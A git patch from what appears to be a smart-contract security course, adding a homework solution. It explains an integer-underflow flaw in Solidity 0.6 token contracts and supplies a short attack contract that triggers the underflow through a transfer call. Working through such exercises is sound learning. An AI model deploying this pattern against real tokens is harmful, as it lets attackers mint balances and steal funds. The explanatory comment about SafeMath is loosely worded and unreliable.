From 307a216e192e42b44fc63d834e1b1f4e7e521c33 Mon Sep 17 00:00:00 2001 From: JdejesusIsaac <67152449+JdejesusIsaac@users.noreply.github.com> Date: Sat, 13 May 2023 11:12:15 -0400 Subject: [PATCH] Create tokenHW HW 5 --- session-5-assignments/tokenHW | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 session-5-assignments/tokenHW diff --git a/session-5-assignments/tokenHW b/session-5-assignments/tokenHW new file mode 100644 index 0000000..f22ef63 --- /dev/null +++ b/session-5-assignments/tokenHW @@ -0,0 +1,20 @@ +// we are exploiting SafeMath for solidity 0.6. Underflows and overflows. +In solidity 0.6 SafeMath was not enabled, which means we wil be able to perform underflows and overflows without a problem. + +ex: If we have a balance of zero and then we put in a value of lets say 1. (0 - 1) will underflow. + + + +pragma solidity ^0.8.0; + +interface IToken { + function transfer(address to, uint256 value) external returns (bool); + function balanceOf(address) external view returns (uint256); + +} + +contract tokenHack { + constructor(address _tokenContract) { + IToken(_tokenContract).transfer(msg.sender, 1); + } +}